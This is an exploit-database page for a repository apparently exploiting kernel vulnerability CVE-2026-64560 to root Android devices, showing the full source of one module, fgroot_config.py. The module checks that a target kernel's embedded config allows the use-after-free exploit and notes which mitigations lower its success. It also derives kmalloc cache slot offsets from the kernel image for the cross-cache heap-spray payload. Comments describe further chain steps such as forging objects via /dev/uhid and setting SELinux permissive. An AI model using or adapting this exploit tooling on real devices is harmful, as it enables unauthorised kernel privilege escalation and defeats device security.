Exploit databaseDownload repository ZIP
GH-9247836616796f879c19808cd689e07b
youssefnoser/opd2415-6.6.118-cve-2026-64560-ksu
Sources for CVE-2026-64560
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files20
youssefnoser/opd2415-6.6.118-cve-2026-64560-ksuRevision 1f03ea62a6b3
- ↑..Parent directory
- __init__.py
- fgroot_bridge.py
- fgroot_btf.py
- fgroot_build.py
- fgroot_common.py
- fgroot_config.py
- fgroot_derive.py
- fgroot_disasm.py
- fgroot_elf.py
- fgroot_evidence.py
- fgroot_image.py
- fgroot_kallsyms.py
- fgroot_kallsyms_native.py
- fgroot_patch.py
- fgroot_payload.py
- fgroot_profile.py
- fgroot_render.py
- fgroot_verify.py
- fgroot_vuln.py
- lz4py.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
repro/lib/fgroot_config.py
Python · 13,110 bytes"""内核配置前置条件检查(社区移植流程的第一道关)。
社区每一套机型移植(miro / pond / dada / opace6 …)开篇都先过一张**内核配置清单**,
因为其中几条是一票否决级的:
* `CONFIG_INIT_ON_FREE_DEFAULT_ON` —— 开了它 UAF 现场每次都被抹掉;
* `CONFIG_RANDOM_KMALLOC_CACHES` —— 开了它 `kmalloc_caches` 行数变化,
`kmalloc-cg-8k` 的槽位偏移随之失效;
* `CONFIG_UHID` / `CONFIG_CONFIGFS_FS` / `CONFIG_SECURITY_SELINUX` / `CONFIG_POSIX_TIMERS`
—— 桥与提权阶段的组件必须编进内核。
`pond` 那套工程把"组件 UHID/ASHMEM/CONFIGFS/SELINUX 全 =y"写作 *bridge 齐全*——
而 6.12 上 ashmem 已由 Rust 重写、不再提供"把受控字节写进对象固定偏移"的原语,
所以这一条在 6.12 上不能照抄(见 docs/PLZ110-6.12-PORT.md §8)。
配置从哪来:只要内核编了 `CONFIG_IKCONFIG`,完整 gzip 配置就内嵌在裸 arm64 Image 里,
夹在 `IKCFG_ST` / `IKCFG_ED` 之间。所以这一步**离线、可复现**,并与 Image 的 sha256 绑定。
顺带把 `DP_KMALLOC_CG8K_SLOT_OFF` 从"照抄 6.6 模板的 0x148"变成**从目标 Image 自己推**:
`kmalloc_slab()` 的机器码给出行宽与最大 index,BTF 的 `enum kmalloc_cache_type` 给出
`KMALLOC_CGROUP`,两者算出 `[KMALLOC_CGROUP][13]` 的字节偏移;与 profile/模板声明不一致就失败。
"""
from __future__ import annotations
import gzip
import struct
from .fgroot_common import FailClosed, require
CONFIG_KIND = "fgroot.config-check"
IKCFG_ST = b"IKCFG_ST"
IKCFG_ED = b"IKCFG_ED"
FATAL = (
("CONFIG_INIT_ON_FREE_DEFAULT_ON", "开的话 UAF 现场每次都被抹掉,回收/占位不成立"),
("CONFIG_RANDOM_KMALLOC_CACHES", "开的话 kmalloc_caches 行数变化,8k-cg 槽位偏移失效"),
)
REQUIRED = (
("CONFIG_POSIX_TIMERS", "漏洞本体(posix cpu timers)"),
("CONFIG_UHID", "桥的 blob 通道(uhid_char_write)+ /dev/uhid 这个伪造点"),
("CONFIG_CONFIGFS_FS", "桥的读/写两侧(configfs_read_iter / configfs_bin_write_iter)"),
("CONFIG_SECURITY_SELINUX", "提权阶段的 SELinux permissive"),
("CONFIG_MEMCG", "kmalloc-cg-* 缓存(跨缓存目标)"),
("CONFIG_SLUB", "跨缓存与页描述符那套按 SLUB 布局写"),
("CONFIG_DEBUG_INFO_BTF", "本流水线的结构偏移证据链"),
)
DEGRADED = (
("CONFIG_INIT_ON_ALLOC_DEFAULT_ON", "分配即清零:喷进去的字节可能被覆盖,命中率下降"),
("CONFIG_SLAB_FREELIST_RANDOM", "slab 内对象顺序随机:跨缓存命中是概率事件"),
("CONFIG_SLAB_FREELIST_HARDENED", "freelist 异或:只能靠整页回收,不能靠单对象"),
("CONFIG_SHUFFLE_PAGE_ALLOCATOR", "buddy 顺序随机:跨缓存页落位更难"),
("CONFIG_HARDENED_USERCOPY", "读写两侧都是 copy_*_iter:地址必须落在允许区域内"),
("CONFIG_CFI_CLANG", "只能把函数指针放回它原本的槽位(我们的桥正是这么做的)"),
("CONFIG_BUG_ON_DATA_CORRUPTION", "伪造链表/树不自洽就是 BUG,不是干净失败"),
("CONFIG_KASAN", "注意运行期是否真开着(GKI 默认 kasan=off,看 /proc/cmdline)"),
("CONFIG_KFENCE", "同上,kfence.sample_interval 默认 0"),
("CONFIG_SLAB_BUCKETS", "6.12 新增;随机桶与 kmalloc_caches 是两套,别搞混"),
)
INFO = (
("CONFIG_ASHMEM", "6.12 是 Rust 版:组件在、但 C 的 blob 原语没了(见 PORT 文档 §8)"),
("CONFIG_DEBUG_LIST", "期望是关:开了的话伪造链表会被 list_debug 抓住"),
("CONFIG_PAGE_TABLE_CHECK", "期望是关:开了的话页表改写会被查"),
)
def extract(image_bytes: bytes) -> dict:
"""从裸 arm64 Image 里取出内嵌的 gzip 配置(IKCONFIG)。"""
start = image_bytes.find(IKCFG_ST)
end = image_bytes.find(IKCFG_ED)
require(start > 0 and end > start,
"Image 里没有 IKCFG_ST/IKCFG_ED 标记 —— 该内核没编 CONFIG_IKCONFIG,"
"这一步做不了(不要靠猜配置)")
blob = image_bytes[start + len(IKCFG_ST):end]
for offset in (0, 4, 8):
try:
text = gzip.decompress(blob[offset:]).decode("utf-8", "replace")
except Exception:
continue
return {"marker": {"start": hex(start), "end": hex(end), "gzipOffset": offset},
"bytes": len(text), "text": text}
raise FailClosed("IKCFG 段不是可解压的 gzip —— 结构变了,拒绝硬凑")
def parse(text: str) -> dict[str, str]:
"""`CONFIG_X=y` → y;`# CONFIG_X is not set` → 'n'(未出现 = 'absent')。"""
out: dict[str, str] = {}
for line in text.splitlines():
line = line.strip()
if line.startswith("CONFIG_") and "=" in line:
key, _, value = line.partition("=")
out[key] = value
elif line.startswith("# ") and line.endswith(" is not set"):
out[line[2:-len(" is not set")].strip()] = "n"
return out
def _state(cfg: dict[str, str], key: str) -> str:
"""'y' / 值 / 'n'(显式 not set)/ 'absent'(这份配置里根本没出现)。"""
return cfg.get(key, "absent")
def checklist(cfg: dict[str, str]) -> dict:
"""社区那张清单 + 我们的补充。fatal/required 违反即 fail-closed。"""
fatal = [{"key": k, "state": _state(cfg, k), "ok": _state(cfg, k) in ("n", "absent"),
"why": why} for k, why in FATAL]
required = [{"key": k, "state": _state(cfg, k), "ok": _state(cfg, k) == "y", "why": why}
for k, why in REQUIRED]
degraded = [{"key": k, "state": _state(cfg, k), "enabled": _state(cfg, k) not in ("n", "absent"),
"note": why} for k, why in DEGRADED]
info = [{"key": k, "state": _state(cfg, k), "note": why} for k, why in INFO]
return {"fatal": fatal, "required": required, "degraded": degraded, "info": info}
def verify_checklist(result: dict) -> None:
bad = [f"{e['key']}={e['state']}({e['why']})" for e in result["fatal"] if not e["ok"]]
bad += [f"{e['key']}={e['state']}({e['why']})" for e in result["required"] if not e["ok"]]
require(not bad,
"内核配置前置条件不过:\n" + "\n".join(f" {b}" for b in bad) +
"\n 依据: 这几条是社区移植套件共同的一票否决项。\n"
" 处置: 换目标内核/构建,或改利用链;不要带着不合格的配置往下走。")
def kmalloc_slot_candidates(image_bytes: bytes, symbols: dict[str, int], btf,
*, shift: int = 13) -> dict:
"""从 Image 自己的代码推出 `2^shift` 这一档在 `kmalloc_caches` 里**每一行**的字节偏移。
`kmalloc_caches` 是 `[kmalloc_cache_type][index]`;同一档位在 NORMAL / RECLAIM /
CGROUP 三行的偏移都不同。**载荷该用哪一行取决于设备**:`GFP_KERNEL_ACCOUNT` 的分配
在开了 memcg kmem 记账时进 `-cg` 行,而 `cgroup.memory=nokmem`(很多旗舰机的
cmdline 就是这么写的)会让 cg 行整个不存在、所有分配都回 NORMAL 行。
实测 PLZ110:`/proc/slabinfo` 里 `kmalloc-cg-*` 行数为 0,`kmalloc-8k` 是
`objsize=8192 objperslab=4 pagesperslab=8`(order-3)——所以要用 NORMAL 行。
"""
require("kmalloc_slab" in symbols, "符号表里没有 kmalloc_slab,无法推导 kmalloc 槽位")
require("kmalloc_caches" in symbols, "符号表里没有 kmalloc_caches")
base = 0xFFFFFFC080000000
start = symbols["kmalloc_slab"] - base
require(0 <= start < len(image_bytes) - 0x100, "kmalloc_slab 地址不在 Image 范围内")
code = image_bytes[start:start + 0x100]
stride, max_index = None, None
for pos in range(0, len(code) - 4, 4):
word = struct.unpack_from("<I", code, pos)[0]
if word & 0xFF000000 == 0x71000000 and (word >> 22) & 1 == 0:
imm = (word >> 10) & 0xFFF # CMP wN, #imm
if 0 < imm <= 0x20:
max_index = imm if max_index is None else max_index
if word & 0xFF800000 == 0x52800000: # MOVZ/MOV wN, #imm
imm = (word >> 5) & 0xFFFF
if imm in (0x40, 0x50, 0x60, 0x70, 0x80, 0x90, 0xA0) and (stride is None or imm > stride):
stride = imm
require(stride, "在 kmalloc_slab 里找不到行宽常量(0x70 这类),推导不了 kmalloc 槽位")
require(max_index, "在 kmalloc_slab 里找不到 index 上限比较")
require(stride % 8 == 0, f"行宽 {stride:#x} 不是指针宽度的整数倍")
require(shift <= max_index,
f"本内核最大 kmalloc index 是 {max_index}({1 << max_index} 字节),"
f"没有 2^{shift} 这一档 —— 载荷假设的 kmalloc-cg-8k 不存在")
enum_id = btf.find(6, "kmalloc_cache_type")
require(enum_id, "BTF 里没有 enum kmalloc_cache_type")
values = dict(btf._by_id(enum_id)["values"])
rows = {}
for name in ("KMALLOC_NORMAL", "KMALLOC_RECLAIM", "KMALLOC_CGROUP"):
if name in values:
rows[name] = values[name] * stride + shift * 8
require(len(rows) >= 2, f"enum kmalloc_cache_type 里认不出行:{sorted(values)}")
size = 1 << shift
name = f"kmalloc-cg-{size // 1024}k" if size >= 1024 else f"kmalloc-cg-{size}"
label = {1: f"kmalloc-{size}", 1024: "kmalloc-1k", 2048: "kmalloc-2k", 4096: "kmalloc-4k",
8192: "kmalloc-8k", 16384: "kmalloc-16k"}.get(size, f"kmalloc-{size}")
return {"rowStride": stride, "perRow": stride // 8, "maxIndex": max_index, "shift": shift,
"rows": rows,
"cacheName": {k: ("kmalloc-cg-" + label.split("-")[1] if k == "KMALLOC_CGROUP"
else ("kmalloc-rcl-" + label.split("-")[1] if k == "KMALLOC_RECLAIM"
else label))
for k in rows},
"arithmetic": {k: f"{values[k]}*{stride:#x} + {shift}*8 = {v:#x}"
for k, v in rows.items()},
"kmallocCaches": hex(symbols["kmalloc_caches"]),
"kmallocSlab": hex(symbols["kmalloc_slab"])}
def cross_check_slot(candidates: dict, declared: int | None, *, label: str) -> None:
"""声明值必须落在推导出来的某一行上;落在哪里由设备事实决定(见调用方注释)。"""
require(declared is not None,
f"{label}: 载荷/模板没有声明 8k 槽位(DP_KMALLOC_CG8K_SLOT_OFF),无法交叉校验")
require(declared in candidates["rows"].values(),
f"{label}: 声明的 8k 槽位 {declared:#x} 不在推导出来的候选里:\n" +
"\n".join(f" {k:8s} {candidates['arithmetic'][k]} → {candidates['cacheName'][k]}"
for k in candidates["rows"]) +
"\n 依据: 这个偏移决定载荷去哪读 8k 的 kmem_cache*,照抄别的机型会把跨缓存门禁算错。\n"
" 处置: 用 config-check 的候选值更新 profile(并写清为什么选那一行)。")
return
def report(image_bytes: bytes, symbols: dict[str, int], btf,
declared_slot: int | None, *, slabinfo_cg: int | None = None) -> dict:
got = extract(image_bytes)
cfg = parse(got["text"])
result = checklist(cfg)
verify_checklist(result)
candidates = kmalloc_slot_candidates(image_bytes, symbols, btf)
cross_check_slot(candidates, declared_slot, label="config-check")
chosen = next(k for k, v in candidates["rows"].items() if v == declared_slot)
note = None
if slabinfo_cg is not None:
note = (f"设备 /proc/slabinfo 里 kmalloc-cg-* 行数 = {slabinfo_cg};"
+ ("cg 行存在,选 CGROUP 行" if slabinfo_cg else
"cg 行不存在(cmdline 里的 cgroup.memory=nokmem 会让 GFP_KERNEL_ACCOUNT "
"的分配也回 NORMAL 行)⇒ 必须选 NORMAL 行"))
want = "KMALLOC_CGROUP" if slabinfo_cg else "KMALLOC_NORMAL"
require(chosen == want,
f"config-check: 声明的 8k 槽位落在 {chosen} 行({declared_slot:#x}),"
f"但设备 /proc/slabinfo 说应该是 {want} 行(kmalloc-cg-* 行数 = {slabinfo_cg})。\n"
" 依据: 载荷里的 8KB 对象是 pipe 环(GFP_KERNEL_ACCOUNT):cg 记账在就进\n"
" kmalloc-cg-8k,被 nokmem 关掉就回 kmalloc-8k。选错行时\n"
" PIPE_CACHE_GATE 会读到错的 kmem_cache*(多半是 NULL)而干净失败。\n"
f" 处置: 把 profile 的 DP_KMALLOC_CG8K_SLOT_OFF 改成 "
f"{candidates['rows'][want]:#x}({candidates['cacheName'][want]})。")
return {"kind": CONFIG_KIND, "schema": 1, "ikconfig": {"bytes": got["bytes"], **got["marker"]},
"checklist": result, "kmallocSlot": {**candidates, "declared": declared_slot,
"chosenRow": chosen, "slabinfoCgRows": slabinfo_cg,
"note": note}}